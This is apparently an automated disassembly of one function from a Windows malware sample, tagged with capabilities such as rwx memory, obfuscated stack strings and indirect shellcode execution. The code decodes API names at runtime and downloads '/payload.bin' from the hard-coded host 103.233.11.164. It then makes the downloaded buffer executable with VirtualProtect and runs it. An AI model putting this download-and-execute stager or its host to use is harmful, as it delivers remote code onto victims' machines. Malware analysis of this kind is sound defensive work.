Function at 0x140001068
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x600
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rax, qword [0x140056c50]
xor rax, rsp
mov qword [rsp + 0x5f0], rax
mov rbx, rcx
mov dword [rsp + 0x48], 8
mov dword [rsp + 0x4c], 0xff
lea rcx, [rsp + 0x48]
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov rcx, rbx
call fcn.1400023b8
mov byte [rsp + 0x150], 0x57
mov byte [rsp + 0x151], 0x69
mov byte [rsp + 0x152], 0x6e
mov byte [rsp + 0x153], 0x69
mov byte [rsp + 0x154], 0x6e
mov byte [rsp + 0x155], 0x65
mov byte [rsp + 0x156], 0x74
mov byte [rsp + 0x157], 0x2e
mov byte [rsp + 0x158], 0x64
mov byte [rsp + 0x159], 0x6c
mov byte [rsp + 0x15a], 0x6c
xor r15d, r15d
mov byte [rsp + 0x15b], r15b
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
xor ecx, ecx
call fcn.140003ef0
lea rdx, [0x140048690]
mov rcx, rbx
call fcn.14000475c
xor r8d, r8d
lea edx, [r15 + 0x66]
lea rcx, [rsp + 0x60]
call fcn.140004b08
nop
lea rax, vtable.Cmfc123Dlg.0
mov qword [rsp + 0x60], rax
call fcn.140008528
call fcn.140008528
mov edx, 0x80
mov rcx, qword [rax + 0x18]
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x60]
mov qword [rbx + 0x40], rax
mov ebp, r15d
mov ecx, 0x100000
call fcn.140001d40
mov r13, rax
mov byte [rsp + 0x160], 0x23
mov byte [rsp + 0x161], 5
mov byte [rsp + 0x162], 0x18
mov byte [rsp + 0x163], SafeArrayGetDim
mov byte [rsp + 0x164], 0x19
mov byte [rsp + 0x165], 2
mov byte [rsp + 0x166], SafeArrayGetDim
mov byte [rsp + 0x167], 0x1f
mov byte [rsp + 0x168], 0x23
mov byte [rsp + 0x169], 0x1a
mov byte [rsp + 0x16a], SafeArrayGetDim
mov byte [rsp + 0x16b], 2
mov byte [rsp + 0x16c], 0x2b
mov byte [rsp + 0x16d], r15b
lea r9, [0x1400486b0]
lea r8d, [r15 + 0xe]
lea rdx, [rsp + 0x160]
mov rcx, rsi
call fcn.140001008
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, str.sougou
call rax
mov r14, rax
cmp rax, r15
jne 0x14000125d
xor ecx, ecx
call fcn.140029a68
int3
mov byte [rsp + 0x170], 0x2b
mov byte [rsp + 0x171], r15b
mov byte [rsp + 0x172], 0x19
mov byte [rsp + 0x173], 7
mov byte [rsp + 0x174], 0x1c
mov byte [rsp + 0x175], 3
mov byte [rsp + 0x176], 7
mov byte [rsp + 0x177], 0x1a
mov byte [rsp + 0x178], 0x2e
mov byte [rsp + 0x179], SafeArrayGetDim
mov byte [rsp + 0x17a], r15b
mov byte [rsp + 0x17b], 3
mov byte [rsp + 0x17c], 7
mov byte [rsp + 0x17d], SafeArrayGetDim
mov byte [rsp + 0x17e], 0x19
mov byte [rsp + 0x17f], 0x23
mov byte [rsp + 0x180], r15b
lea r9, [0x1400486bc]
mov ebx, 0x11
mov r8d, ebx
lea rdx, [rsp + 0x170]
mov rcx, rsi
call fcn.140001008
mov r8d, 0x118
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.103.233.11.164
mov rcx, r14
call rax
mov r12, rax
cmp rax, r15
jne 0x140001340
xor ecx, ecx
call fcn.140029a68
int3
mov byte [rsp + 0x1a0], 0x21
mov byte [rsp + 0x1a1], 0x1b
mov byte [rsp + 0x1a2], 4
mov byte [rsp + 0x1a3], 0x19
mov byte [rsp + reloc.OLEAUT32.dll_OleTranslateColor], 0x20
mov byte [rsp + 0x1a5], r15b
mov byte [rsp + 0x1a6], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov byte [rsp + 0x1a7], 1
mov byte [rsp + 0x1a8], 0x22
mov byte [rsp + 0x1a9], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov byte [rsp + 0x1aa], 0x1e
mov byte [rsp + 0x1ab], 5
mov byte [rsp + 0x1ac], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov byte [rsp + 0x1ad], 0x1c
mov byte [rsp + 0x1ae], 4
mov byte [rsp + 0x1af], 0x28
mov byte [rsp + 0x1b0], r15b
lea r9, [0x1400486d0]
mov r8d, ebx
lea rdx, [rsp + 0x1a0]
mov rcx, rsi
call fcn.140001008
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x84000100
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str._payload.bin
lea rdx, [0x1400486e8]
mov rcx, r12
call rax
mov rdi, rax
cmp rax, r15
jne 0x14000141f
xor ecx, ecx
call fcn.140029a68
int3
mov byte [rsp + 0x1b8], 0x3d
mov byte [rsp + 0x1b9], 0x1e
mov byte [rsp + 0x1ba], 0x19
mov byte [rsp + 0x1bb], 5
mov byte [rsp + 0x1bc], 0x39
mov byte [rsp + 0x1bd], 8
mov byte [rsp + 0x1be], 0x1b
mov byte [rsp + 0x1bf], SafeArrayGetDim
mov byte [rsp + 0x1c0], 0x3f
mov byte [rsp + 0x1c1], reloc.OLEAUT32.dll_SafeArrayGetDim
mov byte [rsp + 0x1c2], 0x1b
mov byte [rsp + 0x1c3], 0x18
mov byte [rsp + 0x1c4], reloc.OLEAUT32.dll_SafeArrayGetDim
mov byte [rsp + 0x1c5], 0x19
mov byte [rsp + 0x1c6], 0x19
mov byte [rsp + 0x1c7], 0x34
mov byte [rsp + 0x1c8], r15b
lea r9, [0x1400486ec]
mov r8d, ebx
lea rdx, [rsp + 0x1b8]
mov rcx, rsi
call fcn.140001008
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call rax
cmp eax, r15d
jne 0x1400014e0
xor ecx, ecx
call fcn.140029a68
int3
mov byte [rsp + 0x188], 0x3d
mov byte [rsp + 0x189], 9
mov byte [rsp + 0x18a], 0x16
mov byte [rsp + 0x18b], bl
mov byte [rsp + 0x18c], 0x15
mov byte [rsp + 0x18d], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov byte [rsp + 0x18e], bl
mov byte [rsp + 0x18f], 0x13
mov byte [rsp + 0x190], 0x30
mov byte [rsp + 0x191], bl
mov byte [rsp + 0x192], 6
mov byte [rsp + 0x193], 6
mov byte [rsp + 0x194], 0x32
mov byte [rsp + 0x195], SafeArrayGetDim
mov byte [rsp + 0x196], SafeArrayGetDim
mov byte [rsp + 0x197], bl
mov byte [rsp + 0x198], r15b
lea r9, [0x1400486f0]
mov r8d, ebx
lea rdx, [rsp + 0x188]
mov rcx, rsi
call fcn.140001008
mov rbx, rax
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x1f0]
mov rcx, rdi
call rbx
cmp eax, r15d
je 0x1400015dd
mov ecx, dword [rsp + 0x40]
cmp ecx, r15d
jbe 0x1400015dd
mov r8, rcx
mov ecx, ebp
add rcx, r13
lea rdx, [rsp + 0x1f0]
call fcn.14002af90
add ebp, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x1f0]
mov rcx, rdi
call rbx
cmp eax, r15d
jne 0x14000159e
mov byte [rsp + 0x1d0], 0x3e
mov byte [rsp + 0x1d1], 0x1d
mov byte [rsp + 0x1d2], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov byte [rsp + 0x1d3], 0x12
mov byte [rsp + 0x1d4], 1
mov byte [rsp + 0x1d5], 0x16
mov byte [rsp + 0x1d6], 0x12
mov byte [rsp + 0x1d7], 7
mov byte [rsp + 0x1d8], 0x3b
mov byte [rsp + 0x1d9], 0x1b
mov byte [rsp + 0x1da], 0x1c
mov byte [rsp + 0x1db], VariantTimeToDosDateTime
mov byte [rsp + 0x1dc], 0x12
mov byte [rsp + 0x1dd], 0x3b
mov byte [rsp + 0x1de], 0x19
mov byte [rsp + 0x1df], 0x19
mov byte [rsp + 0x1e0], 0x17
mov byte [rsp + 0x1e1], 0x14
mov byte [rsp + 0x1e2], 0x12
mov byte [rsp + 0x1e3], r15b
lea r9, [0x1400486f4]
mov r8d, 0x14
lea rdx, [rsp + 0x1d0]
mov rcx, rsi
call fcn.140001008
mov rbx, rax
mov rcx, rdi
call rbx
mov rcx, r12
call rbx
mov rcx, r14
call rbx
mov edx, ebp
lea r9, [rsp + 0x50]
mov r8d, 0x40
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, r13
call fcn.140029708
xor ecx, ecx
call fcn.140029a68
int3